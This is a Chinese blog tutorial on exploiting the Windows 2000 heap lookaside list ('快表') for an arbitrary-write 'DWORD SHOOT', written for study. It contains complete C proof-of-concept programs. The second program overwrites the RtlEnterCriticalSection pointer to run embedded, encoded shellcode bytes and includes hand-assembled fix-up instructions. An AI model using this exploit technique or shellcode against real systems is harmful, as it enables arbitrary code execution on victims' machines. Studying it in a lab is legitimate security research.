堆溢出(三)快表DWORD SHOOT

Windows 堆溢之快表DWORD SHOOT
By Rweb@Reshahar
0x000 环境
1. 虚拟机 VirtualBox 5.0.20
2. 系统 windows 2000 Kali linux
3. 工具 VC++6.0 OllyDbg 1.10 汉化版 AsmToE v5.20
0x001堆溢出之快表
1. 代码

1.  #include<stdio.h>  
2.  #include <windows.h>  
3.    
4.  int main()  
5.  {  
6.      HLOCAL h1,h2,h3,h4;  
7.      char * buf,*b;  
8.      char str[]=  
9.      "AAAAAAAA"                  //buf 堆块的数据  
10.     "BBBBBBBB"                  //下一个堆块的头  
11.     "\x80\x23\x36\x00";     //将堆分配地址要劫持的位置  
12.     HANDLE hp;  
13.   
14.   
15.     hp = HeapCreate(0,0,0); //堆创建带有快表的  
16.       
17.     __asm int 3  
18.           
19.     buf = (char*)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);        
20.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);     
21.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);        
22.       
23.     HeapFree(hp,0,h1);          //将h1连接到快表  
24.   
25.     memcpy(buf,str,20);             //溢出  
26.   
27.     h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);      //将劫持地址写入快表头  
28.       
29.     b = (char*)HeapAlloc(hp,HEAP_GENERATE_EXCEPTIONS,8);  //在劫持地址分配内存不清空内存内容  
30.     strcpy(b,"XXXX");   //任意地址读写          
31.   
32.     return 0;  
33. } 
  1. 快表溢出原理及现象分析
    a) 由第一篇中的知识,可知道快表中单链表,它和空表不同,下面就讲一下我是如何利用的。
    b) 首先编译上面的代码,运行,OD附加等等,这里不在多说了,单步执行或者加断点,跳过前面堆块分配的过程,分配后的堆情况如下图。选中部分即新分配的三个堆块。
    这里写图片描述
    c) 下面将第二块释放掉,可以转到快表头去看,可以看到第二块数据的地址被写到其中了,具体如下图。这里讲一下单链表的操作,这里是一个单链表的一个插入,下次分配数据会从Look[2]的数据项寻找对应的堆块,如果存在,会将链表中下一个节点中存储下下个节点的地址写入到头中,以便下次从快表中分配。
    这里写图片描述
    d) 结合源代码可以看出下一步发生了溢出,复制的数据将第一个链表的数据域填充满了以后,又将下一块也就是第二块的头覆盖掉了,再加上四个字节的大小(结合上面的两个图,可以算出来,这里正是Look[2]中存储的地址,如果这里被修改,下次分配内存的地址将会改变),在这些过程执行之后,堆中变化如下图,这里我将下次分配的地址(重定向到)堆上的另一地址0x00362380,现在还没有写入到Look[2]。
    这里写图片描述
    e) 下面,程序再次申请了一块同样大小的内存,由第一篇文章可以知道,这里会从快表分配,如果没有发生溢出程序运行之后,会将0x00361ea0的数据(0x00000000)写Look[2]中,Look[2]就为空了,但是溢出之后,程序就是将现在的数据写入了Look[2]中,Look[2]不为空了,下次分配会从这个写入的地址开始分配,执行后的快表数组如下,可以看到值果然变成了0x00362380。
    这里写图片描述
    f) 程序再次分配内存,会在上面的那个地址分配,我们来验证一下,我们可以看一下函数执行的返回值,正是我们重定向后的地址,堆块分配成功了。
    这里写图片描述
    g) 我们转到上面的地址,继续运行程序,这里向新分配的内存中写入了“XXXX”这个字符串,这里一个更明显的看到上面这个结果,具体如下图
    这里写图片描述
  2. 总结
    通过上面的小程序,我们很清楚的明白了快表的堆溢出,可以向劫持的地址写入任意数据,我们也知道了怎么利用快表的,快表的工作原理,攻击方法等等,下面我们将植入shellcode完全利用这个程序。
    0x002 DWROD SHOOT代码植入
  3. 修改代码
2.  #include <stdio.h>  
3.  #include <windows.h>  
4.    
5.  char shellcode[]=  
6.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  //每行15个字节   
7.  "\xB8\x1c\xF0\xFd\x7f"  //mov eax,7FFDF01Ch               
8.  "\xBB\x70\xF1\xFC\x77"  //mov ebx,77FCF170h  
9.  "\x89\x18"              //mov [eax],ebx  
10. "\x90\x90\x90"  
11. "\xB8\x03\x91\xF8\x77"  //mov eax,77F89103h  
12. "\xBB\x20\xF0\xFD\x7F"  //mov ebx,7FFDF020h  
13. "\x89\x03"              //mov dword ptr ds:[ebx],eax  
14. "\x90\x90\x90"  
15. "\xbf\xa3\x70\xde\x19\xd9\xe8\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"  
16. "\x32\x83\xea\xfc\x31\x7a\x0e\x03\xd9\x7e\x3c\xec\xe1\x97\x42"  
17. "\x0f\x19\x68\x23\x99\xfc\x59\x63\xfd\x75\xc9\x53\x75\xdb\xe6"  
18. "\x18\xdb\xcf\x7d\x6c\xf4\xe0\x36\xdb\x22\xcf\xc7\x70\x16\x4e"  
19. "\x44\x8b\x4b\xb0\x75\x44\x9e\xb1\xb2\xb9\x53\xe3\x6b\xb5\xc6"  
20. "\x13\x1f\x83\xda\x98\x53\x05\x5b\x7d\x23\x24\x4a\xd0\x3f\x7f"  
21. "\x4c\xd3\xec\x0b\xc5\xcb\xf1\x36\x9f\x60\xc1\xcd\x1e\xa0\x1b"  
22. "\x2d\x8c\x8d\x93\xdc\xcc\xca\x14\x3f\xbb\x22\x67\xc2\xbc\xf1"  
23. "\x15\x18\x48\xe1\xbe\xeb\xea\xcd\x3f\x3f\x6c\x86\x4c\xf4\xfa"  
24. "\xc0\x50\x0b\x2e\x7b\x6c\x80\xd1\xab\xe4\xd2\xf5\x6f\xac\x81"  
25. "\x94\x36\x08\x67\xa8\x28\xf3\xd8\x0c\x23\x1e\x0c\x3d\x6e\x75"  
26. "\xd3\xb3\x15\x3b\xd3\xcb\x15\x6c\xbc\xfa\x9e\xe3\xbb\x02\x75"  
27. "\x40\x33\x49\xd7\xe1\xdc\x14\x82\xb3\x80\xa6\x79\xf7\xbc\x24"  
28. "\x8b\x88\x3a\x34\xfe\x8d\x07\xf2\x13\xfc\x18\x97\x13\x53\x18"  
29. "\xb2\x70\x3e\x82\x1d\x59\xab\x6a\x3d\xc4\x47\x08\xc1"  
30. "\x90\x90"  
31. ;  
32.   
33.   
34. int main()  
35. {  
36.     HLOCAL h1,h2,h3,h4;  
37.     char * buf,*b,*shell;  
38.     char str[]=  
39.     "AAAAAAAA"              //buf 堆块的数据  
40.     "BBBBBBBB"  
41.     "\x20\xf0\xfd\x7f";     //将堆分配地址要劫持的位置,这里是RtlEnterCriticalSection的地址7FFDF020  
42.     HANDLE hp;  
43.   
44.     hp = HeapCreate(0,0,0); //堆创建带有快表的  
45.       
46.     __asm int 3  
47.       
48.       
49.     buf = (char*)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);    
50.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  
51.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  
52.               
53.     HeapFree(hp,0,h1);              //将h1连接到快表  
54.     memcpy(buf,str,20);             //溢出  
55.       
56.     h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);  //将劫持地址写入快表头  
57.       
58.     shell = (char*)HeapAlloc(hp,HEAP_ZERO_MEMORY,300);  //申请内存存放shellcode  
59.   
60.     memcpy(shell,shellcode,270);  
61.   
62.     b = (char*)HeapAlloc(hp,HEAP_GENERATE_EXCEPTIONS,8);  
63.     strcpy(b,"\xc0\x1e\x36");       //任意地址读写       shellcode地址00361EC0   
64.   
65.     return 0;  
66. }  
  1. 植入shell code
    a) 确定劫持地址
    这次的利用和上一篇的空表利用几乎是一样的,相同的地方我不在多赘述,这里利用的地址也是RtlEnterCriticalSection,它的地址为0x7ffdf020,寻找方法上一篇也提到了,不会的可以去寻找查看一下。
    b) 确定shellcode地址
    这里比上一面程序多申请了一块内存存放shellcode,通过调试我确定再我机子上是0x00361ec0
    c) Shellcode
    Shellcode和之前使用kali生成的shellcode一样
    d) 植入
    通过上面的小程序,我们可以将RtlEnterCriticalSection的地址设置为劫持地址,再将我们的shellcode地址写入就可以了,
    可以结合源代码的40和62行来看是怎么做的。
    e) 运行结果
    这里写图片描述
    f) 与空表的区别
    要注意上面的shellcode,对系统的修复工作要增加,如果只是按照空表来修复的话,shellcode不会正确被执行,这里我也是调试好久才发现,在将堆块劫持到新的位置的时候,堆块的头会破坏上面的数据,引发异常,如下图中,第一个红框的位置,就是对RtlEnterCriticalSection减4的地址的数据进行修复,同样使用上面的AsmToE工具将汇编转换成机器码,在代码的的旁边我也注释汇编代码,第二个红框和空表的修复是一样的。
    这里写图片描述
    0x003 总结
    堆溢出这一系列的文章目前写完,这对我调试能力和分析设计能力都有很大的提高,对堆的理解也更加深入了。
    0x004 参考书籍
    [1]《0day安全 软件漏洞分析技术 (第二版)》王清
    [2]《软件调试》张银奎
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值